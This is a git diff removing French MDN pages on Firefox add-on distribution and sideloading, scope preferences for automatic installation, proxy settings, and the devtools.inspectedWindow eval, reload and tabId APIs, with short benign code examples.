Par défaut, extensions.autoDisableScopes est défini sur 15 afin que les installations automatiques soient désactivées à partir de tous les emplacements. Pour désactiver uniquement un sous-ensemble d'emplacements, définissez la préférence sur la somme des valeurs des emplacements que vous souhaitez désactiver. Par exemple, 3 désactive "Profil de l'utilisateur actuel" et "Tous les profils de l'utilisateur connecté".  La définition de la valeur sur 0 désactive cette fonctionnalité et signifie que tous les modules complémentaires seront installés sans confirmation de l'utilisateur.

- -

Désactivation des emplacements d'installation

- -

Dans certaines circonstances, vous pouvez souhaiter que Firefox ignore tout ou partie des emplacements d'installation supplémentaires répertoriés ci-dessus. Dans ce cas, utilisez la préférence extensions.enabledScopes. Par défaut, cette préférence n'est pas incluse dans les téléchargements standard de Firefox, il faudra donc l'ajouter. vous pouvez ajouter la préférence manuellement ou la faire par programmation en suivant les instructions de la section suivante.

- -
-

Il est impossible de désactiver le chargement de modules complémentaires à partir du répertoire de profil.

-
- -

Définir les préférences d'étendue par programme

- -

Utilisez la logique suivante pour définir les valeurs de extensions.autoDisableScopes et extensions.enabledScopes par programme pour vous assurer que les modules complémentaires sont installés automatiquement :

- -
    -
  1. Editez le fichier de configuration administratif.
    2. -
  2. Vérifiez la présence de lignes définissant les préférences  extensions.autoDisableScopes et/ou extensions.enabledScopes et remplacez-les / ajoutez-les si nécessaire.
    3. -
  3. Ces lignes de préférence doivent être utilisées comme ci-dessous, avec les valeurs de votre choix comme expliqué dans le haut de cette section : - 
    defaultPref("extensions.autoDisableScopes", 0);
-defaultPref("extensions.enabledScopes", 15);
-// Or use binary value like this
-defaultPref("extensions.enabledScopes", 0b1111);
    -
    4. -
- -
-

Selon cette page : (en date du 28 septembre 2012)
- “Vous ne pouvez pas définir cette préférence à distance en utilisant les fichiers autoconfig.”
- Ce qui vous recommande de définir uniquement ces préférences dans un fichier autoconfig local.
- Si cette information est erronée, ajustez ou supprimez cette note.

-
- -

Regroupement de modules complémentaires avec un Firefox personnalisé

- -

Vous pouvez regrouper des modules complémentaires dans un Firefox personnalisé, et ils seront installés automatiquement lorsque l'utilisateur démarre l'application pour la première fois. Voir Personnalisation de Firefox pour plus de détails.

diff --git a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/index.html b/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/index.html deleted file mode 100644 index 1b45607060..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Options de distribution -slug: Mozilla/Add-ons/WebExtensions/Alternative_distribution_options -tags: - - Add-ons - - Installation - - Landing - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options ---- -
{{AddonSidebar()}}
- -

Le processus standard de distribution et d'installation des extensions de navigateur se fait via Firefox en utilisant un fichier XPI signé obtenu à partir de addons.mozilla.org (AMO) (pour les add-ons listés) ou un téléchargement configuré par un développeur (pour les add-ons non listés).

- -

Nous examinons ici les exigences en matière de signature et les commentaires connexes, avant de discuter de la façon de choisir entre la distribution sur AMO ou la distribution d'une extension de navigateur vous-même. Nous examinons également les canaux disponibles sur AMO et répondons aux questions sur la propriété du code et les litiges.

- -

Signature de votre extension

- -

Les extensions de navigateur doivent être signées par Mozilla avant de pouvoir être installées dans les versions release et beta de Firefox. Les thèmes, et d'autres types d'ajouts tels que les dictionnaires d'orthographe, n'ont pas besoin d'être signés.

- -

Ce processus de signature se fait via addons.mozilla.org (AMO), que vous choisissiez de distribuer votre add-on via AMO ou de le faire vous-même.

- -

Les extensions non signées peuvent être installées dans les versions Developer Edition, Nightly, et ESR de Firefox, après avoir activé la préférence xpinstall.signatures.required dans  about:config.

- -

Mozilla signe les extensions de navigateur via le site Web de AMO. Il y a trois façons de soumettre votre extension pour signature :

- -
    -
  1. téléchargez votre add-on via le Developer Hub sur AMO.
    2. -
  2. utilisez l' API de signature addons.mozilla.org.
    3. -
  3. utilisez le signé web-ext.
    4. -
- -

Toutes les options de signature sont soumises à l'accord de distribution du module complémentaire Firefox.

- -

Si vous téléchargez votre extension via le centre de développement AMO, vous avez le choix entre l'inscription sur AMO ou l'auto-distribution. Si vous choisissez l'auto-distribution, à la fin du processus, vous téléchargez des copies signées de votre add-on.

- -

L'utilisation de l'API de signature ou du web-ext renvoie vos add-ons signés, sans qu'aucune liste de distribution ne soit créée sur AMO.

- -

Quelle que soit la méthode utilisée, tous les add-ons doivent passer une validation automatisée avant d'être signés. Ils peuvent également faire l'objet d'un examen manuel du code. Les critères d'examen appliqués aux prorogations se trouvent dans la polique complémentaire.

- -

Distribuer votre extension

- -

Vous n'êtes pas tenu d'inscrire ou de distribuer votre poste par l'entremise de l'AMO. Vous devrez décider si vous voulez distribuer et inscrire votre extension par l'entremise de l'AMO ou si vous voulez la distribuer vous-même. Voici quelques points à prendre en considération :

- -
    -
  • AMO est une plateforme de distribution très populaire, avec des millions de visiteurs et d'installations mensuels.
    • -
  • AMO est intégré dans le gestionnaire de modules complémentaires Firefox, ce qui facilite l'installation des extensions publiées sur AMO.
    • -
  • Lorsqu'une extension est listée dans AMO, les mises à jour des copies installées sont gérées automatiquement par Firefox chaque fois qu'une nouvelle version est listée dans AMO.
    • -
  • L'URL où Firefox peut trouver les mises à jour doit être incluse dans la clé update_link du manifest d'extension pour que Firefox puisse effectuer des mises à jour automatiques. Les extensions auto-distribuées qui n'ont pas d'URL de mise à jour vérifient AMO pour les mises à jour et sont mises à jour vers une version listée, si elle est disponible.
    • -
- -

Pour plus d'informations sur la façon de soumettre un add-on pour distribution sur AMO ou auto-distribution, voir Soumettre une extension.

- -

Autres options de distribution

- -

Ces méthodes peuvent ne pas convenir à tout le monde, par exemple, lorsqu'une extension de navigateur est fournie avec une application native ou lorsqu'une entreprise souhaite installer une extension pour toutes ses instances de Firefox. Cette section décrit les solutions de rechange.

- -
    -
  • -

    Sideloading add-ons — permet à un utilisateur d'installer une extension en utilisant un fichier XPI enregistré sur son ordinateur.

    -
    • -
  • -

    Add-ons for use with a desktop app — cette section décrit les meilleures pratiques pour fournir une extension à utiliser avec une application de bureau.

    -
    • -
  • -

    Add-ons in an enterprise environment — cette page traite de l'utilisation des extensions signées par rapport aux extensions non signées, des options d'installation, des paramètres Firefox affectant l'installation, et de l'inclusion des add-ons avec un paquet d'installation Firefox personnalisé.

    -
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/sideloading_add-ons/index.html b/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/sideloading_add-ons/index.html deleted file mode 100644 index 2271640415..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/sideloading_add-ons/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Sideloading add-ons -slug: >- - Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons -tags: - - Guide - - Installation - - Sideloading - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Sideloading_add-ons ---- -
{{AddonSidebar()}}
- -

Vous souhaiterez peut-être envoyer un fichier XPI à votre utilisateur par un moyen autre qu'un téléchargement sur le Web, par exemple une distribution par e-mail d'une version bêta pour les tests utilisateur. Dans ce cas, il existe deux options pratiques pour installer le module complémentaire :

- -
    -
  • À l'aide de l'option Installer le module à partir d'un fichier dans le gestionnaire de modules complémentaires.
    • -
  • Ajout du fichier à l'un des dossiers d'extension standard.
    • -
- -
Aucune mise à jour automatique ne sera effectuée pour les modules complémentaires installés à l'aide de ces méthodes. Vous devrez fournir un nouveau fichier XPI à votre utilisateur pour chaque mise à jour. Cependant, des vérifications de compatibilité automatiques sont toujours effectuées.
- -

Preparation de votre extension

- -

Indépendamment de la méthode de chargement latéral utilisée, vous devez préparer l'extension comme suit :

- -
    -
  1. Assurez-vous que le module complémentaire inclut un ID, en ajoutant ce qui suit à son fichier manifest.json, en remplaçant votre your-add-on-name@your-domain.com par un ID  approprié dans vote mode complémentaire : - - 
    "applications": {
-  "gecko": {
-    "id": "your-add-on-name@your-domain.com"
-  }
-}
-
    - Un identifiant de style d'adresse e-mail est recommandé.
    2. -
  2. Signez le module complémentaire dans addons.mozilla.org (AMO).  Selon la manière dont vous souhaitez rendre votre module complémentaire disponible, vous pouvez utiliser les options non répertoriées (si vous distribuez le module complémentaire uniquement) ou répertoriées. Pour plus de détails, voir Signature et distribution de votre module complémentaire.
    3. -
- -

Utilisation de l'option Installer le module à partir d'un fichier

- -

Pour utiliser Installer le module complémentaire à partir d'un fichier dans le gestionnaire de modules complémentaire, send the user the signed add-on with the following instructions:

- -
    -
  1. Enregistrez le fichier complémentaire à un emplacement approprié sur votre ordinateur.
    2. -
  2. Dans Firefox, ouvrir le menu Firefox Firefox browser menu button et cliquez sur Add-ons.
    3. -
  3. Dans les paramètres de cog, ouvrez Installer le module complémentaire à partir du fichier :
    - Add-on Manager utilities cog
    4. -
  4. Recherchez et ouvrez le fichier à partir de l'emplacement où il a été enregistré.
    5. -
  5. Lorsque vous y êtes invité, cliquez sur Ajouter :
    - Message asking user to confirm the installation of the add-on
    6. -
  6. Le module complémentaire apparaîtra désormais dans la liste des modules complémentaires installés du gestionnaire de modules complémentaires et sera prêt à être utilisé :
    - After installation the add-on is listed in the add-on manager
    7. -
- -

Installation à l'aide des dossiers d'extension standard

- -

Cette méthode d'installation complémentaire consiste à copier le module complémentaire dans l'un des dossiers d'extension standard sur l'ordinateur de l'utilisateur. Une fois copié, la prochaine fois que Firefox sera lancé le module complémentaire sera installé. Par défaut, l'utilisateur sera invité à approuver l'installation et, si l'utilisateur l'approuve, le module complémentaire sera installé et chargé automatiquement pour les lancements ultérieurs. Si l'utilisateur possède plusieurs profils Firefox, l'approbation et l'installation auront lieu au prochain lancement de chaque profil.  Pour plus d'informations sur le contrôle de l'utilisateur à approuver l'installation, voir  Contrôle de l'installation automatique.

- -

Renommez votre fichier XPI

- -

Pour utiliser cette méthode, votre fichier XPI doit être nommé à l'aide de l'ID d'extension ou d'application, comme indiqué dans la section Préparation de votre module complémentaire. Le fichier complémentaire signé que vous avez téléchargé à partir d'AMO s'appellera quelque chose comme borderify-1.0-an+fx.xpi (voir Signature et distribution de votre module complémetaire pour plus de détails), modifiez-le par exemple borderify@example.com.xpi.

- -
-

Si vous développez un module complémentaire pour Firefox vous pouvez utiliser un fichier proxy d'extensions pour installer un module complémentaire sans copier les fichiers dans les dossiers d'extension standard.

-
- -

Ajoutez le fichier d'extension XPI dans un dossier d'extensions commun.

- -

Dans ce qui suit {ec8030f7-c20a-464f-9b0e-13a3a9e97384} est l'identifiant de l'application de Firefox.  

- -

L'installation standard de Firefox désactive l'installation automatique de modules complémentaires à partir de ces emplacements (voir Contrôle de l'installation automatique). Par conséquent, le processus pour chacune des méthodes décrites ci-dessous est le suivant :

- -
    -
  • Copiez le fichier XPI renommé dans le dossier des extensions pour Windows,  OSX, ou Linux selon le cas. Notez que, selon le système d'exploitation de bureau et ses paramètres, l'utilisateur peut avoir besoin d'une autorisation d'administrateur pour effectuer cette action.
    • -
  • Fermez et redémarrez Firefox.
    • -
  • Selon le système d'exploitation et la version de Firefox, l'un des événements suivants se produira: -
      -
    • L'installation se fera en mode silencieux et l'utilisateur devra ouvrir le gestionnaire de modules complémentaires et activer le module complémentaire :
      - An add-on is installed but disabled
      - Pour activer le module complémentaire, l'utilisateur devra cliquer sur  Enable.
      • -
    • Un message interstitiel sera affiché :
      - An interstitial warning about the installation of the add-on
      - Pour installer le module complémentaire, l'utilisateur devra cocher Autoriser cette installation et cliquer sur Continuer.
      • -
    -
    • -
  • L'add-on est maintenant installé.
    • -
- -

Pour plus de détails sur les installations interstitielles et silencieuses, voir Contrôle de l'installation automatique.

- -
-

Pour désinstaller le module complémentaire, fermez Firefox et supprimez le module complémentaire de l'emplacement où il a été ajouté.

-
- -

Windows

- -

Pour installer le module complémentaire pour un utilisateur de l'ordinateur, copiez le fichier XPI dans :

- -
C:\Users\<user name>\AppData\Roaming\mozilla\Extensions\\{ec8030f7-c20a-464f-9b0e-13a3a9e97384}\
- -

Si ce dossier n'existe pas, créez-le. Vous pouvez également identifier le chemin de l'utilisateur actuel avec la variable %appdata% du système.

- -
-

Remarque : Pour installer un module complémentaire pour tous les utilisateurs d'un ordinateur Windows, voir Installation à l'aide du registre Windows.

-
- -

OSX

- -

Pour installer un module complémentaire à utiliser par tous les profils Firefox et tous les utilisateurs, copiez le fichier XPI dans le dossier d'extension globale situé dans la bibliothèque. Si ce dossier n'existe pas, vous devrez le créer.

- -
/Library/Application Support/mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
- -

Pour installer un module complémentaire pour un utilisateur spécifique, copiez le fichier XPI dans la bibliothèque locale de l'utilisateur :

- -
~/Library/Application Support/mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
- -

Linux

- -

Pour installer un module complémentaire utilisé par tous les utilisateurs, copiez le fichier XPI dans :

- -
/usr/lib/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
- -

Ou...

- -
/usr/lib64/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
- -

Ou...

- -
/usr/share/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
- -

Pour installer un module complémentaire pour un utilisateur spécifique, copiez le fichier XPI dans :

- -
~/.mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/proxyconfig/index.html b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/proxyconfig/index.html deleted file mode 100644 index 8ebc5822c2..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/proxyconfig/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: browserSettings.proxyConfig -slug: Mozilla/Add-ons/WebExtensions/API/browserSettings/proxyConfig -tags: - - API - - Add-ons - - Extensions - - Property - - Reference - - WebExtensions - - browserSettings - - proxyConfig -translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/settings ---- -
{{AddonSidebar()}}
- -

Un objet {{WebExtAPIRef("types.BrowserSetting", "BrowserSetting")}} qui peut être utilisé pour modifier les paramètres de proxy du navigateur.

- -
-

Note: La possibilité de modifier les paramètres de proxy nécessite un accès à une fenêtre privée car les paramètres de proxy affectent à la fois les fenêtres privées et non privées. Par conséquent, si une extension n'a pas reçu l'autorisation de fenêtre privée, les appels à  proxy.settings.set() lanceront une exception.

-
- -

La valeur sous-jacente est un objet avec les propriétés énumérées ci-dessous.

- -

Lors de la définition de cet objet, toutes les propriétés sont facultatives. Notez que les propriétés omises seront réinitialisées à leur valeur par défaut.

- -
-
autoConfigUrl{{optional_inline}}
-
string. Une URL à utiliser pour configurer le proxy.
-
autoLogin{{optional_inline}}
-
boolean. Ne pas demander l'authentification si le mot de passe est enregistré. Par défaut à false.
-
ftp{{optional_inline}}
-
string. L'adresse du proxy FTP. Peut inclure un port.
-
http{{optional_inline}}
-
string. L'adresse du proxy HTTP. Peut inclure un port.
-
httpProxyAll{{optional_inline}}
-
boolean. Utilisez le serveur proxy HTTP pour tous les protocoles. Par défaut à false.
-
passthrough{{optional_inline}}
-
string. Une liste d'hôtes séparés par des virgules qui ne doivent pas être mandatés. La valeur par défaut est "localhost, 127.0.0.1".
-
proxyDNS{{optional_inline}}
-
boolean. DNS proxy lors de l'utilisation de SOCKS5. Par défaut à false.
-
proxyType{{optional_inline}}
-
string. Le type de proxy à utiliser. Cela peut prendre l'une des valeurs suivantes : "none", "autoDetect", "system", "manual", "autoConfig". Par défaut à "system".
-
socks{{optional_inline}}
-
string. L'adresse du proxy SOCKS. Peut inclure un port.
-
socksVersion{{optional_inline}}
-
integer. La version du proxy SOCKS. Peut être 4 ou 5. Par défaut à 5.
-
ssl{{optional_inline}}
-
string. L'adresse du proxy SSL. Peut inclure un port.
-
- -

 

- -

Exemples

- -
let proxySettings = {
-  proxyType: "manual",
-  http: "http://proxy.org:8080",
-  socksVersion: 4,
-  passthrough: ".example.org"
-};
-
-browser.proxy.settings.set({value: proxySettings});
- -

{{WebExtExamples}}

- -

 

- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.proxy.settings", 10)}}

diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/eval/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/eval/index.html deleted file mode 100644 index f6cf7e86bb..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/eval/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: devtools.inspectedWindow.eval() -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval -tags: - - API - - Add-ons - - Devtools.inspectedWindows - - Extensions - - Reference - - WebExtensions - - eval -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval ---- -
{{AddonSidebar()}}
- -

Exécute JavaScript dans la fenêtre à laquelle les devtools sont attachés.

- -

C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}} pour joindre un script de contenu, mais avec deux différences principales:

- -

Tout d'abord, le JavaScript peut utiliser un ensemble de commandes spéciales que les navigateurs fournissent généralement dans leur implémentation de console devtools : par exemple, en utilisant "$0" pour designer l'élément actuellement sélectionné dans l'inspecteur.

- -

Deuxièmement, le JavaScript que vous exécutez peut voir les modifications apportées à la page par des scripts que la page a chargés. Cela contraste avec les scripts de contenu, qui voient la page telle qu'elle existerait si aucun script de page n'était pas chargé. Cependant, notez que l'isolement fourni par les scripts de contenu est une fonction de sécurité délibérée, destinée à rendre plus difficile la confusion ou la subversion des WebExtensions par des pages web malveillantes ou simplement non coopératives en redéfinissant les fonctions et les propriétés du DOM. Cela signifie que vous devez être très prudent si vous renoncez à cette protection en utilisant eval(), et devrait utiliser les scripts de contenu, sauf si vous devez utiliser eval().

- -

Le script est évalué par défaut dans le cadre principal de la page. Le script doit évaluer une valeur qui peut être représentée comme JSON (ce qui signifie que, par exemple, il peut ne pas évaluer une fonction ou un objet contenant des fonctions). Par défaut, le script ne voit pas les scripts de contenu attachés à la page.

- -

Vous ne pouvez pas appeler eval() sur les fenêtres de navigateur privilégiées telles que "about: addons".

- -

Vous pouvez éventuellement fournir un paramètre d'options, qui comprend des options pour évaluer le script dans une image différente ou dans le contexte des scripts de contenu attachés. Notez que Firefox ne supporte pas encore le paramètre d'options.

- -

La fonction eval() renvoie une Promise qui résout le résultat évalué du script ou une erreur.

- -

Aides

- -

Le script accède à un certain nombre d'objets qui aident le script injecté à interagir avec les outils du développeur. Les assistants suivants sont actuellement pris en charge:

- -
-
$0
-
Contient une référence à l'élément actuellement sélectionné dans l'inspecteur Devtools.
-
inspect()
-
Etant donné un objet, s'il s'agit d'un élément DOM dans la page, sélectionnez-le dans l'inspecteur devtools, sinon il crée un aperçu de l'objet dans la webconsole.
-
- -

Voir quelques exemples.

- -

Syntaxe

- -
var evaluating = browser.devtools.inspectedWindow.eval(
-  expression,       // string
-  options           // object
-)
-
- -

Paramètres

- -
-
expression
-
string. L'expression JavaScript à évaluer. La chaîne doit évaluer un objet qui peut être représenté comme JSON, ou une exception sera lancée. Par exemple, l'expression ne doit pas évaluer une fonction.
-
options{{optional_inline}}
-
object. Options pour la fonction  (Notez que Firefox ne supporte pas encore cette option), comme suit :
-
-
-
frameURL{{optional_inline}}
-
string. L'URL du cadre dans lequel à évaluer l'expression. Si cela est supprimé, l'expression est évaluée dans la trame principale de la fenêtre.
-
useContentScriptContext{{optional_inline}}
-
boolean. Si c'est vrai, évaluez l'expression dans le contexte des scripts de contenu que cette extension a attachée à la page. Si vous définissez cette option, vous devez d'abord attacher certains scripts de contenu à la page ou une erreur Devtools sera lancée.
-
contextSecurityOrigin {{optional_inline}}
-
string. Evaluez l'expression dans le contexte d'un script de contenu attaché par une extension différente, dont l'origine correspond à la valeur donnée ici. Ces remplacements sont useContentScriptContext.
-
-
-
- -

Valeur retournée

- -

Une Promise qui sera remplie avec un tableau contenant deux éléments.

- -

Si aucune erreur n'est survenue, l'élément 0 contiendra le résultat de l'évaluation de l'expression et l'élément 1 sera indéfini.

- -

Si une erreur s'est produite, l'élément 0 sera indéfini et l'élément 1 contiendra un objet donnant des détails sur l'erreur. Deux types différents d'erreurs sont distingués :

- -
    -
  • Des erreurs rencontrées lors de l'évaluation du JavaScript (par exemple, des erreurs de syntaxe dans l'expression). Dans ce cas, l'élément 1 contiendra : -
      -
    • Une propriété boolean isException, définie sur true
      • -
    • Une valeur de propriété de chaîne, en donnant plus de détails.
      • -
    -
    • -
  • D'autres erreurs (par exemple, une expression qui évalue sur un objet qui ne peut pas être représenté comme JSON). Dans ce cas, l'élément 1 contiendra: -
      -
    • Une propriété booléenne isError, définie sur true
      • -
    • Un code de propriété de chaîne contenant un code d'erreur.
      • -
    -
    • -
- -

Compatibilité des navigateurs

- -

{{Compat("webextensions.api.devtools.inspectedWindow.eval")}}

- - - -

Exemples

- -

Ceci teste si jQuery est défini dans la fenêtre inspectée et enregistre le résultat. Notez que cela ne fonctionnerait pas dans un script de contenu, car même si jQuery était défini, le script de contenu ne le verrait pas.

- -
function handleError(error) {
-  if (error.isError) {
-    console.log(`Devtools error: ${error.code}`);
-  } else {
-    console.log(`JavaScript error: ${error.value}`);
-  }
-}
-
-function handleResult(result) {
-  console.log(result);
-  if (result[0] !== undefined) {
-    console.log(`jQuery: ${result[0]}`);
-  } else if (result[1]) {
-    handleError(result[1]);
-  }
-}
-
-const checkjQuery = "typeof jQuery != 'undefined'";
-
-evalButton.addEventListener("click", () => {
-  browser.devtools.inspectedWindow.eval(checkjQuery)
-    .then(handleResult);
-});
- -

Exemples d'aide

- -

Cela utilise l'aide de $0 pour définir la couleur d'arrière-plan de l'élément, actuellement sélectionné dans l'inspecteur :

- -
const evalButton = document.querySelector("#reddinate");
-const evalString = "$0.style.backgroundColor = 'red'";
-
-function handleError(error) {
-  if (error.isError) {
-    console.log(`Devtools error: ${error.code}`);
-  } else {
-    console.log(`JavaScript error: ${error.value}`);
-  }
-}
-
-function handleResult(result) {
-  if (result[1]) {
-    handleError(result[1]);
-  }
-}
-
-evalButton.addEventListener("click", () => {
-  browser.devtools.inspectedWindow.eval(evalString)
-    .then(handleResult);
-});
-
- -

Cela utilise l'assistant l'inspection() pour sélectionner le premier élément <h1> dans la page:

- -
const inspectButton = document.querySelector("#inspect");
-const inspectString = "inspect(document.querySelector('h1'))";
-
-function handleError(error) {
-  if (error.isError) {
-    console.log(`Devtools error: ${error.code}`);
-  } else {
-    console.log(`JavaScript error: ${error.value}`);
-  }
-}
-
-function handleResult(result) {
-  if (result[1]) {
-    handleError(result[1]);
-  }
-}
-
-inspectButton.addEventListener("click", () => {
-  browser.devtools.inspectedWindow.eval(inspectString)
-    .then(handleResult);
-});
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html deleted file mode 100644 index 2f077b4e9d..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: devtools.inspectedWindow -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow -tags: - - API - - Add-ons - - Devtools.inspectedWindows - - Extensions - - Reference - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow ---- -
{{AddonSidebar}}
- -
-

Cette page décrit les API de développement de WebExtensions telles qu'elles existent dans Firefox 54. Bien que les API soient basées sur les APIs de devtools de Chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder  Limitations des APIs devtools.

-
- -

L'API devtools.inspectedWindow permet à un extension de devtools d'interagir avec la fenêtre sur laquelle les outils de développement sont attachés.

- -

Comme toutes les APIs de devtools, cette API n'est disponible que pour exécuter le code dans le document défini dans la clé devtools_page du manifest.json, où dans d'autres documents devtools créés par l'extension (tels que le document hébergé par un panneau, l'extension créée). Voir Extension des outils de développement  pour plus d'informations.

- -

Propriétés

- -
-
devtools.inspectedWindow.tabId
-
L'ID de la fenêtre sur laquelle sont attachés les outils du développeur.
-
- -

Fonctions

- -
-
devtools.inspectedWindow.eval()
-
Evaluez certains JavaScript dans la fenêtre de destination.
-
devtools.inspectedWindow.reload()
-
Rechargez le document de la fenêtre destination.
-
- -

Comptatibilité navigateur

- -

{{Compat("webextensions.api.devtools.inspectedWindow")}}

- -

{{WebExtExamples("h2")}}

- - - -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.inspectedWindow.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/reload/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/reload/index.html deleted file mode 100644 index f2f7b8cdc8..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/reload/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: devtools.inspectedWindow.reload() -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/reload -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.inspectedWindow - - reload -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/reload ---- -
{{AddonSidebar()}}
- -

Recharge la fenêtre à laquelle les devtools sont attachés.

- -

Syntaxe

- -
browser.devtools.inspectedWindow.reload(
-  reloadOptions       // object
-)
-
- -

Paramètres

- -
-
reloadOptions{{optional_inline}}
-
object. Options pour la fonction, comme suit
-
-
-
ignoreCache{{optional_inline}}
-
boolean. S'il est vrai, cela fait que le rechargement ignore le cache du navigateur (comme si l'utilisateur avait appuyé sur Shift+Ctrl+R).
-
userAgent{{optional_inline}}
-
string. Définissez un agent utilisateur personnalisé pour la page. Ici, la chaîne fournie sera envoyée dans l'en-tête de l'Agent utilisateur, et sera renvoyée par les appels à navigator.userAgent réalisé par des scripts s'exécutant sur la page.
-
injectedScript {{optional_inline}}
-
string. Injectez l'expression JavaScript donnée dans toutes les images de la page, avant tout autre script.
-
-
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.inspectedWindow.reload")}}

- - - -

Exemples

- -

Rechargez la fenêtre inspectée, définissez l'agent utilisateur et injectez un script

- -
const reloadButton = document.querySelector("#reload-button");
-
-reloadButton.addEventListener("click", () => {
-  browser.devtools.inspectedWindow.reload({
-    injectedScript:"alert(navigator.userAgent);",
-    userAgent: "Not a real UA"
-  });
-});
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/tabid/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/tabid/index.html deleted file mode 100644 index b5b3d3b0b2..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/tabid/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: devtools.inspectedWindow.tabId -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.inpectedWindow - - tabId -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId ---- -
{{AddonSidebar()}}
- -

L'ID de {{WebExtAPIRef("tabs.Tab", "tab")}} est que cette instance des devtools est jointe, représenté comme un nombre.

- -

Cela peut être envoyé à la page de fond de l'extension, de sorte que la page d'arrière plan peut utiliser l'API {{WebExtAPIRef("tabs")}} pour interargir avec l'onglet :

- -
// devtools-panel.js
-
-const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
-
-attachContentScriptButton.addEventListener("click", () => {
-  browser.runtime.sendMessage({
-    tabId: browser.devtools.inspectedWindow.tabId,
-    script: scriptToAttach
-  });
-});
- -
// background.js
-
-function handleMessage(request, sender, sendResponse) {
-  browser.tabs.executeScript(request.tabId, {
-    code: request.script
-  });
-}
-
-browser.runtime.onMessage.addListener(handleMessage);
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.inspectedWindow.tabId")}}

- - - -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/gethar/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.network/gethar/index.html deleted file mode 100644 index abcdf667e6..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.network/gethar/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: devtools.network.getHAR() -slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/getHAR -tags: - - Add-ons - - Extensions - - WebExtensions - - devtools.network - - getHAR -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/getHAR ---- -
{{AddonSidebar()}}
- -

